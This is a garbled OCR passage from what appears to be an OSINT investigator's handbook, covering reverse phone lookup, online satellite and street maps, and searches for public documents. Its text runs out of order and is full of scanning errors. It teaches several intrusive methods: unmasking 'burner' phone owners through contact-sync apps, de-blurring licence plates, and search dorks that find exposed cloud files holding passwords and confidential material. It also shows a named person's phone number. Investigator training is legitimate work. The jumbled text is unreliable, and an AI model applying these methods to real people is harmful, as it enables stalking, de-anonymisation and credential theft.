https://escortindex.com/search?search=754-240-l 522 Contact Exploitation Calls.ai (sync.ai/calls-ai) but 1 find them to be highly 304 Chapter 18 • Launch your Android virtual machine through VirtualBox or Genymotion. • Launch the Google Play Store or Aurora Store and search '’Calls.ai". • Install Calls.ai from Sync.ai. • Launch the Calls.ai app and allow default permissions. • When prompted, associate with the Google account within the VM. • Click the search option in the lower left and input any number. : no valuable my Android emulator. 1 my applicable application, I mentioned this technique previously during the Android emulation chapter. If 1 receive information about a target telephone number with the previous options, 1 proceed to t add the number as a friend named "John" in the contacts of the device. I then open ai such as Twitter, Instagram, and dating apps, and ask them to "find my friends". More often than not, an app links me to a social network profile which is associated with the only number in my contact list. As a test, I searched three cellular numbers which were assigned to me when I worked for the government. All three returned with positive results displaying "Mike", Michael" and "Bazzel". None of these phones were publicly attached to my name until someone shared their contact details with the world. While it is a nuisance to open an Android VM each time 1 need to conduct a search, the results from Calls.ai, Truecaller, and others justifies the time. This Android application is impressive. It queries a large database of crowd-sourced contact details from unknown sources. Most telephone number search results reveal only a first name, - ~ ’ Z ' accurate. Conduct the following to use this app. If you have any suspicion that the target of your investigation is involved in prostitution, drugs, or any related activity, Escort Index should be checked against the telephone number of your subject. This website aggregates all of the prostitution classifieds and review sites into one search. It extracts the telephone numbers from all online classified pages and allows you to search by the target telephone number. One of my training examples identified 37 online photos, 20 escort ads, several reviews by "Johns", ages used by the target, the last known location, and locations visited based on postings in online classifieds. Any time 1 have a target telephone number that is likely involved in criminal activity, 1 conduct a brief search on this site. Real World Application: In 2019,1 was asked to assist an attorney in a child custody and divorce case. He prodded the cellular telephone numbers of the suspected cheating husband and an unknown number of a potential mistress identified from telephone records. 1 added both numbers to the contacts list in my Android emulator and checked every app daily. This method identified a dating profile which included the husband s photo, but with a different name. On the same day which he was served divorce papers, I observed both numbers show up in the encrypted communications app Signal. While it did not identify the person on the other end of the communication, the coincidence of the two numbers joining Signal on the same day is revealing. While writing this chapter, I successfully identified the owner of a "burner" number because he connected it to his WhatsApp account. I added the number to my Contacts within my Android emulator; Opened WhatsApp; and asked it to find any "friends". It immediately displayed an image of a face associated with the number. A reverse image search (explained later) identified a social network in my target's true name. 1 have also used this technique to identify Skype profiles associated with a cellular number. Data Breaches https://weleakinfo.to/ https://breachdirectory .org/ IntelTechniques Telephone Tool ] IRsss ~||1212 ][ Populate All 618 1 [ PeopleDatalabs ] [6185551212 16185551212' (Historical Phonebook) 1994: 1995: 1996: 1997: 1998: 2001: 2002: ] ]C [eis- 1| S55 Submit All 2003: Figure 18.03: The IntelTechniques Telephone Tool. Telephone Numbers 305 While a few of the email and username breach search service previously mentioned allow telephone number search, 1 find it very unproductive. However, your usage may be better. The following options are available. J I 1 j J I j I 1212 1212 1212 1212 1212 1212 1212 1212 1212 1212 1212 1212 1212 1212 1212 | [l212 1212 1212 Searchpeople Spytox Sync.me ThatsThem TruePeople USPhonebook WhitePages WhoseNo YellowPages ZabaSearch Google Bing Yandex Facebook Caller ID Services (API Required) 6185551212 H 6185551212 6185551212 6185551212 6185551212 618 618 618 |618 ■ 618 1618 [618 1618 618 618 ,618 618 1618 1618 [618 [618 618 [618 ;618~ 1618 [618 1618 1618 618 |618 618 618 618 [61B~ 618 555 555 555 555 555 555 1555 555 555 555 555 555 555 555 555 I 555 555 555 555 555 555 1555 555 555 555 555 555 555 [555 [555 555 1212 1212 1212 1212 1212 1212 1212 1212 1212 1212 1212 1212 1212 r i Dehashed FastPeople InfoTracer JohnDoe Numpi Nuwber QKCaller PeopleSearch PhoneOwner Reveal Name Google/Bing I____________ 11 eight two five three [ j ir 11 four six two 411 800 Notes AdvBackground AmericaPhone CallerSmart CyberBackground J Dehashed | [ FastPeople ] |_____ InfoTracer J |______ JohnDoe [ [ Numpi | [ Nuwber ) ' | QKCaller | [ PeopleSearch | ( PhoneOwner j J Reveal Name j [ Reverse Lookup ] [ Searchpeople [ ~|[ Spytox | 1 [______Sync.me [ [ ThatsThem [ [ TruePeople L ' li L :r i T ’r ]CI Craigslist | [[eight two five three Of all the automated search tools, this one may save the most time. You can submit an area code, prefix, and number and execute all queries. I also added a section of Caller ID services which allow query via direct URL. If you want to use those, you must add your API keys to the source code of the page. I prefer the script previously explained, but I want you to have options. The number and word area on the search tool replicates the techniques mentioned previously which attempt to search both the numbers and words of a target telephone number within Google, Bing, and Craigslist Figure 18.03 displays the current state of the tool. |61B )l555~ | six one eight Um/—ir [ | four six two 1618 !f555~ | six one eight ) EveryoneAPI ) OpenCNAM BulkCNAM [ CallerlDService ) [ ScrviceObjects j 306 Chapter 19 Google Maps (maps.google.com) Online Maps 307 Satellite View: The lower left area of any map will offer a satellite view. The satellite view is a direct view from the sky looking almost straight down. A satellite new of your target location is always vital to ever}’ investigation. Ch a pt e r Nin e t e en On l in e ma ps Globe View: The Globe view (globe icon) in the lower right is similar, but usually offers a unique view from a different date. It also presents a rotation option. While in die Globe view, click on the "3D" icon and then the small "rotation1’ icon to the right of the map. This will shift the view 45 degrees and a second click will shift an additional 45 degrees. This presents new angles of your target Google constandy makes changes to their online Maps service, attempting to streamline the entire Maps experience to make everything easier to use. Over the past two years, we have witnessed features come and go, only to randomly re-appear. The following basics of Google Maps are now default for all users. Search Bar: The Google Maps search bar can now accept practically any type of input A full address, partial address, or GPS coordinates will immediately present you with a mapped view. Company names and types of businesses, such as "cafe’’ will highlight locations that may be of interest. This search field is the first stop. Attempt any search relevant to your investigation and you may be surprised at how accurate Google is. You can collapse this entire menu by clicking the left arrow next to the search field. This will return you to a full screen view of the map. The presence of online satellite images is not news anymore. Most of you have already "Googled" your own address and viewed your home from the sky. This view can get surprisingly detailed when using the zoom feature. Alleys, sheds, and extended driveways that are hidden from the street are now visible thanks to this free service. Many tactical units will examine this data before executing a search warrant at a residence. Aerial maps arc helpful for viewing the location of exiting doors, escape routes, stairs, and various obstructions. The rapidly growing availability of the Street View option now gives us more data. This chapter explains detailed use of Google, Bing, and other mapping services. At the end, I present my custom maps tool which provides an automated solution to collecting ever}’ possible view associated with your target of interest Street View: If the Street View option is available, Google has been in the area and captured a photo of the location from the street. Dragging and dropping the small orange person in the lower right menu will open a street view from ground level at the area specified. You can navigate through this view by clicking forward, clicking and dragging, or scrolling and zooming. This view can be zoomed in by double-clicking and panned left and right by dragging the mouse while holding a left click. Double-clicking an area of the street will refresh the window to the view from that location. Clicking the map in the lower left will return you to the standard map view. Historic Street View: In late 2014, Google began offering the ability to view all stored street view images for any single location. This option is available within the standard street view layout within the search area of the upper left comer. Click on the small clock in order to launch a pop-up window. This new view will allow you to move a slider bar which will present different views. The month and year of image capture will also appear for documentation. Figure 19.01 displays this method which presents an additional view of a parking lot from a few years prior. Additional options include views from several years prior. This can often reveal additional vehicles or missing structures associated with an investigation. - / n from Google Maps. Google Street View 308 Chapter 19 X Q. SlrwtViw M173H3 zns Google Street View (Down): https://wwvw.google.com/maps/@?api=l&map_action=pano&vicw'point=41.947242,- 87.65673&heading=0&pitch=-90&fov=100 Google Map View with Terrain: https://www.google.com/maps/@?api=l&map_acnon=map&center=41.947242,- 87.65673&zoom= 18&basemap=terrain Google Standard Map View: https://w'ww.google.com/maps/@?api= 1 &map_action=map&center=41.947242, - 87.65673&zoom=18&basemap=roadmap Figure 19.01: Historic Street View options Distance Measurement: Google Maps reintroduced die distance measurement tool after completely disabling the classic maps interface in 2015. While in map or satellite view, right-click on your starting point and choose "Measure distance". Click anywhere on the map to create a path you want to measure. Further clicks add additional measuring points. You can also drag a point to move it, or click a point to remove it. The total distance in both miles or kilometers will appear under the search box. When finished, right-click on the map and select clear measurement. Google Street Views possess multiple options, including a 360-degree horizontal scope and vertical pitch. I have created the following URLs which we will use in our custom tools. These offer a view of north, east, south, and west with no pitch. After each URL loads, you can use the cursor to drag the view to fit your needs. Google Satellite View: https://www.google.com/maps/@?api=1 &map_action=map&center=41.947242,- 87.65673&zoom=18&basemap=satellite URL Queries: For the purposes of the search tool, which is explained at the end of the chapter, we always want to identify the GPS coordinates of our target. In my examples throughout the chapter, 41.947242 is the latitude coordinate and -87.65673 is the longitude. The static search URLs I explain throughout this chapter will assist us in quickly querying multiple services once we identify a target location. The static URL displaying various Google Maps views of our target location is as follows. GPS Coordinates: Clicking on any point will load a small window in the bottom center that identifies the exact GPS coordinates of the chosen location. If this is not visible, right-click any point and select "What’s here". Searching via GPS will be more precise than other queries. Bing Maps (bing.com/maps) Online Maps 309 Bing Street View (South): https://www.bing.com/maps?cp=41.947242~-87.65673&lvl=20&dir=180&pi=0&style=: Bing Street View (East): https://www.bing.com/maps?cp=41.947242~-87.65673&lvl=20&dir=90&pi=0&style=x Bing Satellite View (West): https://www.bing.com/maps?cp=41.947242~-87.65673&lvl=20&sty=o&w=100%&dir=270 Bing Street View (North): https://www.bing.com/maps?cp=41.947242~-87.65673&lvl=20&dir=0&pi=0&style=x Bing Satellite View (South): https://www.bing.com/maps?cp=41.947242~-87.65673&lvl=20&sty=o&w=100%&dir=180 Bing Satellite View (East): https://www.bing.com/maps?cp=41.947242~-87.65673Sdvl=20&sty=o&w=100%&dir=90 Bing Satellite View (North): https://www.bing.com/maps?cp=41.947242~-87.65673&lvl=20&sty=o&w=100%&dir=0 Bing Satellite View: https://www.bing.com/maps?cp=41.947242~-87.656738dvl=20&sty=a Bing Standard Map View: https://www.bing.com/maps?cp=41.947242~-87.65673&lvl=20 Google Street View (South): https://www.google.com/maps/@?api=1 &map_action=pano&viewpoint=41.947242,- 87.65673&heading= 180&pitch=0&fov=90 Google Street View (North): https://www.google.com/maps/@?api=l&map_action=pano&viewpoint=41.947242,- 87.65673&heading=0&pitch=0&fov=90 Bing Street View (West): https://www.bing.com/maps?cp=41.947242~-87.65673&lvl=20&dir=270&pi=0&style=x Similar to Google Maps, Bing offers a map view, satellite view, angled view, and street view. In my experience, the imagery provided by Bing will always be unique to the images available in Google Maps. A side-by-side comparison can be seen in a few pages with the custom maps tool. Bing does not always present the various 3D view options, which they call "Bird's Eye View". Fortunately, we can replicate all views with the following custom URLs. Google Street View (East): https://www.google.com/maps/@?api=1 &map_action=pano&viewpoint=41.947242,- 87.65673&heading=90&pitch=0&fov=90 Google Street View (West): https://www.google.com/maps/@?api=l&map_action=pano&viewpoint=41.947242, - 87.65673&heading=270&pitch=0&fov=90 Zoom Earth (zoom.earth) Here (wego.here.com) https://wego.here.com/Pmap-41.947242,-87.65673,20,satellite Yandex (yandex.com/maps) https://yandex.com/maps/?l=sat&ll=-87.65673%2C41.947242&z=20 Descartes Labs (maps.descarteslabs.com) Snapchat (map.snapchat.com) 310 Chapter 19 https://search.descarteslabs.com/?layer=naip_v2_rgb_2014-2015#lat—41.94721 &lng— 87.656502&skipTut=true&zoom=20 Satellite views from Yandex are often poor quality and low resolution when focused on the U.S. However, international locations tend to possess clearer results. The static URL with satellite view is as follows. https://zoom.earth/# view-41.947242,-87.65673,20z https://zoom.earth/#view=41.947242, -87.65673,20z/layers=esri https://map.snapchat.com/@41.947210,-87.656502,20.00z This sendee has experienced a lot of transformation over the past ten years. Originally a Nokia company with a unique set of satellite imagery, it now mostly contains identical images to Bing Maps. However, I find unique images on occasion, and we should always consider every resource. The static URL with satellite view is as follows. This multiple satellite imagery website presents views from NASA, Bing, and ArcGIS. Occasionally, the ArcGIS data is more recent than Google or Bing. The smooth interface will easily provide a comparison of the available images for any location. One advantage of Zoom Earth is the ability to view satellite images in true full-screen mode. This allows creation of full-screen captures without branding, menus, or borders. This could be more appropriate for live demonstration instead of a standard Google or Bing window. The static URLs with satellite view are as follows. The "20z" is the maximum zoom level. The second URL is a historic view from the Economic and Social Research Institute (ESRI) database. This sendee offers a very unique search option that I have not found present on any other site. After locating a target of interest, it displays a satellite view sourced from the National Agriculture Imagery’ Program (NAIP). The unique part is the ability to search based on image. In other words, you can select a monument, park, building, or any other view and request any images that match. As an example, I selected the baseball grounds at Wrigley Field and I was immediately presented hundreds of baseball fields all over the world. I have yet to determine how I would execute this strategy within an investigation, but this feature has potential. This was mentioned previously while discussing social networks, but should also be present here. This map allows you to zoom into a location and view any public stories posted through Snapchat. I find this does not work well when investigating a home address, but can be incredibly useful when researching a specific event, school, or public area. The static URL is as follows. Wikimapia (wikimapia.org) Dual Maps (data.mashedworld.com/dualmaps/map.htm) Real Estate (zillow.com, redfin.com, etc.) Vidi (vidi.world) Historic Imagery Historic Aerials (historicaerials.com) World Imagery Wayback (livingadas.arcgis.com/wayback) Old Maps Online (oldmapsonline.org) Online Maps 311 If you need live video from a specific location, you can hire someone through this site. If you wanted a live video stream in front of a specific business, you can offer a "bounty" for that task. If a member in that area accepts, the footage is sent electronically. We live in strange yet fascinating times. I began using this site in 2018 as an alternative to Historic Aerials. The quality is superior, the number of satellite views is higher, and the functionality' is smoother. Figure 19.03 displays four images acquired from the sendee of a specific location. Each provides a unique view from 2014, 2015,2016, and 2017. This website provides a satellite view of a location on both Google Maps and Bing Maps simultaneously. The Google view on the left will also contain a search field in the lower left comer. Searching an address in this field will center both maps on the same address. This will provide a comparison of the satellite images stored on each service. This can quickly identify the service that has the better imagery'. While this can provide a quick side-by- side comparison, upcoming automated solutions are preferred. If you simply need road maps from the past 100 years, this service has you covered. There are no images or satellite views, but street details from previous decades could be useful. You might learn that a target location possessed a different street name in the past or identify the approximate year when a specific road was built. If you need satellite imagery’ from several years prior, you can visit Historic Aerials. The quality’ will often be poor, especially as you view imagery from previous decades. After you enter an address, you wall be presented all available options on the left side of the page. Figure 19.02 displays several results of the same location over a twenty-year period. These views will be unique from all of the previously' mentioned services. These websites display information about homes which are currently available for sale or have recently sold. I usually search this option in hopes of locating interior images of a suspect home. This can often identify personal belongings, interests, and family' information. It is a bit of a long-shot, but has been vital to a few of my investigations. This is a great catch-all option. It combines the various satellite options for Google, Bing, and others. It also possesses crowd-sourced data and images. The menu in the upper right allows you to choose the satellite service while clicking on any location or building and presents a report of images, websites, and details about the target. Researching different satellite views of a single location can have many benefits. These views are all of the current content stored within each service. However, these mapping services continuously update their offerings and usually* present the most recent option. You may’ want to view the previous content that was available before an image was updated. Figure 19.02: Multiple views of a location through Historic Aerials. Figure 19.03: Historic satellite images from W orld Imagery Wayback. I In 2020,1 assisted a former colleague with a missing person investigation. Google and Bing maps were queried, but nothing helpful was found. However, a search on Mapillary (explained next) revealed a vehicle parked outside the victim's residence which was otherwise unknown to investigators. This clue opened a new path of investigation which ultimately led my colleague to the victim. \Vc must always thoroughly check every resource. 312 Chapter 19 Real World Application: Combining several satellite views can provide much information about a target's residence. Before the execution of a search warrant, it is beneficial for police to collect as much map information as possible. This will give updated views of a drawn map, satellite imagery directly above the house, four angled views from the sky, and a complete view of the house and neighboring houses from the street, including vehicles. This can be used to identify- potential threats such as physical barriers, escape routes, and video surveillance systems in place. Crowd-Sourced Street Views Mapillary (mapillary.com) Land Viewer (eos.com/landviewer) https://eos.com/landviewer/?lat=41.947242&lng=-87.65673&z=l 1 Online Maps 313 I https://www.mapillary.com/app/?lat=41.947242&lng=-87.65673&z=18 Karta (kanaview.org) This resource will not present detailed views of your target's home. The images here are often generated from weather satellites, and restrict zoom levels to a city view. Most locations offer four active satellites that constandy retrieve images and five inoperative satellites that store historic imagery dating back to 1982. I have only used this resource to document potential weather at a crime scene (clouds, rain, or dear). The static URL follows. After exhausting your options on Mapillary, continue to Karta, previously called Open Street Cam. The site functions in the same way, but possesses unique images. These sites allow you to identify the uploader's username, mapping history, number of posted images, and profile image. You can also select to watch all of the captured images from a specific user as he or she travels daily. I can't begin to imagine the amount information available about a user's travel habits if he or she were to become a target of an investigation. While there is not coverage of every area like we see with Google Maps, the databases are growing rapidly, and should be included when using other mapping tools. We will use the following URL structure for our automated tools. https://kartaview.Org/map/@41.947242,-87.65673,18z Street View maps from sendees such as Google and Bing are nothing new. Most of you can view the top and front of your home from multiple online websites. With street view options, these services arc fairly responsible and block most faces and license plates. This makes it difficult for investigators trying to identify' a suspect vehicle parked at a home or present at a crime scene prior to the incident We have two sendees that offer unique street-level views that may remove these limitations. This service appears similar to other mapping websites when first loaded. You see a typical map view identifying streets, landmarks, and buildings. Enabling the satellite view layer displays images from the Open Street Map project. The real power is within the crowd-sourced street view images. While in any map view, colored lines indicate that an individual has provided street-level images to Mapillary, usually from a GPS-enabled smart phone. This is actually quite common, as many people record video of their driving trips which could be used in case of an accident. These services make it easy and automated to upload these images. The sites then embed these images within their own mapping layers for the public to see. Clicking these colored lines reveals the street view images in the lower portion of the screen. Expanding these images allows you to navigate through that individual's images similar to the Google Street View experience. Figure 19.04 displays a street view layered over a satellite view. The username of the Mapillary member and date of image capture appears in the lower left. In some of these images, the services appear to be redacting license plates with a typical "Blur Box' as seen in Figure 19.05 (left). A few feet later, the box disappears and a partially legible license plate is revealed, as seen in Figure 19.05 (right). It seems like these services are attempting to determine when a license plate is legible, and then blurring it. When the plate is farther away and more difficult to read, it is ignored. This can work in our favor. In Figure 19.06 we can use selective cropping and photo manipulation to obtain the registration. The left image appears unaltered as it is difficult to read. The right image was cropped; inverted with Photoshop; brightness turned down to 0%; and contrast heightened to 100%. The result is a legible license plate. I believe most registration plates can be made visible within these services. The following URL conducts a query for our target location. Landsat Look (landsatlook.usgs.gov) Figure 19.04: A crowd-sourced street view from Mapillary. Figure 19.05: /\ vehicle with a blurred registration plate (left) and clear (right). 314 Chapter 19 https://landlook.usgs.gov/viewer.html https://landsadook.usgs.gov/viewer.html https://landsadook.usgs.gov/sentinel2/viewer.html This is very similar to Land Viewer, but with additional historic images. There be viewed within a browser. The following URLs present each option. are three unique maps which can • Drag and zoom to your target location. • Select your desired satellite in the upper-right menu. • Choose desired date range. • Click die "Show Images" button. Each map possesses unique satellite views ranging from 1972 to present. The menu in the upper right of each map displays the image options. The instructions for accessing this data are not straightforward, so I will provide a typical scenario. plate (left) and manipulated view (right). IntclTechniques Maps Tool Populate All Latitude Longitude Figure 19.07: The IntclTechniques Maps Tool (partial view). Apple Maps (satellites.pro) While not https://satellitcs.pro/ US A_map#41.94721 ,-87.656502,18 Online Maps 315 State- State State Convert GPS Zillow Rchold Homes Coogle Homes Longitude Longitude Longitude Longitude Longitude Longitude Google Map Google Sat Google Street Google Street (N) Google Street (E) Google Street (S) Google Street (W) Bing Map Z.p z.p Z.p Zip Latitude Latitude Latitude Latitud? Latitude Latitude Latitude Latitude Street Street Street Street an official Apple product, Satellite Pro provides Apple Maps aerial views during search queries. A direct URL of our target location follows. Figure 19.06: An illegible registration Figures 19.08 through 19.34 on the following pages display the results from these providers when searching Wrigley Field in Chicago, using the search tool to generate each result. Remember to allow pop-ups within your browser if you want all of die data to populate within new tabs automatically. The first portion of this tool allows entry of a physical address in traditional format which can execute several searches previously mentioned. The first field presents a mapping API page which includes the GPS coordinates of your target. These will be used in the second portion of the page. This area allows entry of GPS coordinates for several mapping options. The "Populate All" simplifies entry into the query' options. Each search will open results in a new tab, or the final "Submit AH" will display all satellite imagery’ from multiple providers within new tabs. It currently fetches images from all options mentioned in this chapter which allow a static URL with GPS tor submission. Figure 19.07 displays a partial view of the tool. I use it during practically every investigation where satellite views have relevance. Having multiple unique views of an individual location would have seemed unimaginable in decades past. Today, we take it for granted. Figures 19.08 through 19.11: Google Satellite, Google Globe, Bing Satellite, and Here Satellite. 316 Chapter 19 36501 iRatterson] n t i. E Sa- ‘X 113+ -> ft?* '¥?•• 'isn's ' ■*. saCatEESDOsaOTKEHaaiJ® ar§Ef®ycss;lla j ■ ■ , iji;rs - * * Figures 19.12 through 19.15: Google Globe 3D views of North, East, South, and West. Online Maps 317 I ■’ W-1 , —-VBl ■ -J ■U's . " * 1 ' r: ■'■■’—-• ■ ~ - ■ wwwQ i®»W=' U teaaiis \ "Q \\ XT? s x Figures 19.16 through 19.19: Google Street views of North, East, South, and West. 318 Chapter 19 M TTI 1 f 1: KL^_^ s * i . ■ .. 'Uli I! ~ i@'E.___ . ■ ■ F Figures 19.20 through 19.23: Bing Bird's Eye views of North, East, South, and West. Online Maps 319 Figures 19.24 through 19.27: Bing Strc views of North, East, South, and W est. 320 Chapter 19 Figures 19.28 through 19.31: Zoom Earth, Zoom ESRI, Yandex Satellite, and Descartes. ■ ■ * . v Hi r- i n Online Maps 321 Figures 19.32 through 19.34: Satellite Pro (Apple), Mapillary, and Snapchat. Map Shadows 322 Chapter 19 If you look closely at the previous images, you can see many shadows. We can use these to make a guess at the date and time of capture. In fact, analyzing shadows within any images, even those which do not originate with satellite imagery, can help identify the date and time of capture. There is no exact science to this (yet), but we have online tools available to assist our efforts. Consider the image in Figure 19.32 above. The shadow of Wrigley Field is due west of the building and does not appear to project north or south of the building. We can use Shade Map (shademap.app) to identify the most likelv date and time of this satellite capture. After loading the site, search for Wrigley Field and allow the location to load. Next, we can begin manipulating the map. tl i irv.'ii Figure 19.35: A Shade Map result. Scribble Maps (scribblemaps.com) Online Maps 323 ■I '(b While this book is printed with black ink, hopefully you can match the overall shadows. Replicate this on your own computer to see the true value. This technique could also be used when you identify a photograph posted to social media. If you know the approximate location and time of year, it should be fairly easy to establish the approximate time of capture. "MB Click the date in the lower-left and drag the month bar until the shadows seem to match the horizontal position within our target image in Figure 19.32. In my attempts, the month of March displayed shadows which did not extend north or south of the building at an angle. This month displayed shadows which extended directly cast and west. Next, choose the time of day which matches the position of the shadows. My attempts identified 6:28 am Mountain (7:28 am Central) as the ideal match. Therefore, my best guess is that the satellite image captured in this example was approximately 7:30 am local time in late March. Figure 19.35 displays my result. I would never document an assumption of an exact date and time, but a range could be appropriate. Documenting that the shadows indicate capture between February and April from 7:00 to 8:00 am could suffice. The default view of your new map at Scribble Maps will display the entire world and a menu of basic options. I close this menu by clicking the small "x" in the upper right corner. You can then manually zoom into an area of interest or type in an address in the location bar at the top of the map. This will present you with a manageable area of the map. The lower right corner will allow you to switch from a traditional map view’ to a satellite or hybrid view’. The default view of mapping sen ices such as Google and Bing may be enough for your situation. Occasionally, you may want to modify or customize a map for your needs. Law enforcement may want to create a map to be used in a court case; a private investigator may want to customize a map to present to a client, or a security director may want to use this sen-ice to document the inappropriate Tweets that were found during the previous instructions. Scribble Maps offers one of the easiest ways to create your own map and add any type of visual aids to the final product. 0 324 Chapter 19 Figure 19.36: A basic custom map created with Scribble Maps. The menu at the top of the map will allow you to add shapes, lines, text, and images to your map. Practicing on this map can never be replaced with any instruction printed here. Mastering the basics of this application will make occasional use of it easy. Figure 19.36 displays a quick sample map that shows a title, a line, a marker, and graphics. The menu can be seen in the upper left portion. When finished, the "Menu" button will present many options to print, save, or export your map. 1 also highly recommend Free Map Tools (freemaptools.com). This service provides multiple advanced options such as mapping a radius around a point of interest. CHAPTER TWENTY Do c u me n t s Google Searching (googlc.com) excxls OR excxlsx "John Doe" If you wanted to search all of these file types at once, the following string in Google Documents 325 Microsoft Word Microsoft Excel Microsoft PowerPoint Adobe Acrobat Text File Open Office Word Perfect excxls "OSINT" excxlsx "OSINT" site:inteltechniques.com excdoc site:inteltechniques.com excdocx If you wanted to search for a specific person's name within any spreadsheets, such as John Doe, you would type the following single query’. DOC, DOCX XLS, XLSX, CSV PPT, PPTX PDF TXT, RTF ODT, ODS, ODG, ODP WPD If you wanted to search all of these file types at once, the following string in Google or Bing would find most documents on the topic of OSINT. You could change that term to anything else of interest. If you wanted to locate all documents that reference a specific topic, you can use the filetype operator without a specific website listed. An example of a search query’ for all Excel spreadsheets that contain the acronym OSINT would be the following. A very’ basic way of locating documents that are publicly available on a specific website, or related to a specific topic, is to use Google. The "filetype:" (or easier "ext:") search operators previously explained can be used for this task. An example of search queries for all Microsoft Word documents stored on the domain of inteltechniques.com would be the following. The following table includes the most common document file types and the associated file extensions. As previously explained, both Google and Bing are capable of searching any file type regardless of the file association. Remember that Bing demands "filetype" while Google seems to prefer "ext". Please note that this is a partial list, and 1 identify new possibilities constantly. The open source intelligence discussed up to this point has focused on websites which include valuable information about a target. A category’ of intelligence that is often missed during OSINT research is documents. This type of data usually falls into one of three classes. The first is documents that include information about the target within the contents of the file. These can include online PDF files that the target may not know exist The second class is documents that were actually’ created by the target. These files can make their way into public view unintentionally. Finally, the third class includes the metadata stored within a document that can include vital information about the true source of the document. The following techniques explain manual searching and retrieving of these documents and automated software solutions for analysis of found content Bing query. The Google Docs (docs.google.com) jples below identify searches that would site:drive.google.com 865-274-2074 326 Chapter 20 Many Google Mail (Gmail) Docs or Google Drive. When Google categorizes the documents that are created by the user. The exam] display documents by type. site:docs.google.com "resume" - 29,800 online resumes site:docs.google.com "resume" "Williams" - 985 resumes with the name Williams site:docs.google.com "Corey Trager" - 1 document (resume) belonging to the target site:docs.google.com 865-274-2074 - 1 document containing the target number site:docs.google.com/presentation/d - 325,000 PowerPoint presentations site:docs.google.com/drawings/d - 18,600 Google flowchart drawings site:docs.google.com/file/d - 945,000 images, videos, PDF files, and documents siteidocs.google.com/folder/d - 4,000 collections of files inside folders site:docs.google.com/open - 1,000,000 external documents, folders, and files In 2013, Google began placing some user generated documents on the "drive.google.com" domain. Therefore, any search that you conduct with the method described previously should be repeated with "drive" in place of "docs". The previous search for the telephone number would be the following. users take advantage of Google's free service for document storage called Google a document is created, it is private by default and not visible to the public. However, when people want to share documents with friends or coworkers, the sharing properties must be changed. While it is possible to privately share files with individual Google users, many people find it easier to make the documents public. Most of these users probably assume that the files will not be seen by anyone other than the intended recipients. After all, who would go out searching for other people's documents? We will. The Google Docs and Google Drive websites do not offer the option to search these public files, but you can do this using Google search. Now that Google allows search engines to index most of the public files, you should be able to find them with some specific search methods. The following search examples will explain a few of the options that would be conducted on google.com. The exact search is listed with the expected result These should be used as a starting point for the many possibilities of document searching. The idea of storing user created documents on the internet is gaining a lot of popularity. Keeping these files "in the cloud" eliminates the need for personal storage on a device such as a CD or flash drive. In addition, storing files on the internet allows the author to access and edit them from any computer with an internet connection. A common use of these document-hosting sites is to store them only during the editing phase. Once the document is finished and no longer needed, the user may forget to remove it from public view. Google is one of the most popular document storage websites. It allows users to embed the stored documents into their own websites if desired. Searching the site is relatively easy. "OSINT" filetype:pdf OR filetypeidoc OR filetype:xls OR filetype:xlsx OR filetype:docx OR filetype:ppt OR filetype:pptx OR filetypeiwpd OR filetype:txt This query basically tells the search engine to look for any reference to the term OSINT inside of a PD1‘, Microsoft Word, and other documents, and display all of die results. The Google Custom Search Engine (CSE) described in Chapter Nine is a great resource for this exact type of search. However, I highly recommend having an understanding of the manual search process. It will give you much more control than any automated solution. Additionally, Google CSEs limit the number of results. Therefore, I no longer recommend exclusively relying on it for a Document search. It simply cannot compete with a properly structured Google or " custom search tools presented at the end of the chapter will further simplify all of this. Microsoft Docs (docs.microsoft.com) site:docs.microsoft.com "resume" Amazon Web Services (amazonaws.com) site:amazonaws.com sitexloudfroncnet OSINT Gray Hat Warfare (buckets.grayhatwarfare.com) files which https://buckets.grayhatwarfare.com/results/password Google Cloud Storage (cloud.google.com) Documents 327 site:amazonaws.com ext:xls "password" - 114 Excel spreadsheets containing "password" site:amazonaws.com ext:pdf "osint" - 260 PDF files containing "osint" This is Google's response to Amazon's AWS. It is a premium file storage web service for storing and accessing data on the Google Cloud Platform infrastructure. It is heavily used by all types of businesses and tech-sawy individuals. The number of publicly available sensitive documents is growing at an alarming rate. Below are a few examples. Similar to Google Drive, Microsoft Docs offers that ability to store and share documents. The sendee is not as popular as Google Drive. However, there are thousands of publicly visible documents waiting to be found. The shared files are stored on the docs.microsoft.com domain. A query for resumes would be as follows. This search could be conducted on Google or Bing. The result on Google was 63,400 resume files with personal information. Amazon Web Services (AWS) is a large collection of servers that supply storage and internet application hosting in "the cloud". Instead of purchasing expensive hardware, many companies and individuals rent these servers. There are numerous documents available for download from these servers when searched appropriately. I cannot overstate the value of searching Amazon's servers. This is where most of the voter data that was heavily discussed during the 2016 election originated. I have personally located extremely sensitive documents from this source on numerous occasions. The following structure will identify files indexed on google.com. AWS hosts more than simple documents. Many companies host large databases and data sets within "buckets on AWS servers. Custom Google searches may locate some of this content, but never a full index of all data. This is where Gray Hat Warfare excels. It has created a searchable database of over one billion files, all publicly stored with AWS servers. Free users are limited to the first 350 million of these files, which is substantial. A search of "OSINT" revealed only 11 results while "password" displayed over 41,000. The results are often large files which must be opened carefully. A search of "password xls" provided three documents with active credentials. A direct search URL is as follows. Another option is the Amazon CloudFront servers. CloudFront is a content deliver}’ network (CDN) offered by Amazon Web Services. Content delivery networks provide a globally-distributed network of proxy servers which cache content, such as web videos or other bulky media. These are provided more locally to consumers, thus improving access speed for downloading the content. We can apply the same previous search techniques on this domain. The following search on Google yielded 129 results of pages on various CloudFront servers containing the acronym "OSINT". The following search examples will explain a couple of the options. The exact search is listed with the expected result. These should be used as a starting point for the many possibilities of document searching. Presentation Repositories site:prezi.com "osint” Scribd (scribd.com) PDF Drive (pdfdrive.com) https:/Avww.pdfdrive.com/search?q=osint 328 Chapter 20 Slide Share (slideshare.net) 1SSUU (issuu.com) Slidebean (slidebean.com) Prezi (prezi.com) Slide Search (slidesearchengine.com) Author Stream (authorstream.com) This service scans the internet for new PDF files and archives them. This can be helpful when the original source removes the content. The following static URL conducts a query across the entire domain. site:storage.googleapis.com excxlsx OR extzxls - 2,310 Spreadsheets site:storage.googleapis.com "confidential" - 9,502 Documents site:storage.googleapis.com "confidential" exttpptx - 11 PowerPoint files marked as confidential Slide Share and ISSUU allow native searching within their websites. However, Prezi does not have this option. For all, I recommend a custom Google search with the site operator. If I want to locate presentations including the term OSINT from Prezi, I would use the following query. Most of these documents are intentionally stored on the site and any evidence of criminal activity will not be included. Instead, the primary use of the site for OSINT investigations is the large number of documents related to businesses. Entering any large corporation name should display several pages of viewable documents related to the company. Often, these include documents that the company's security personnel would not authorize to be online. Searching for "FOUO", an acronym for "for official use only", produced hundreds of results. While none of these appeared to be officially classified, they were not intended to be posted to a 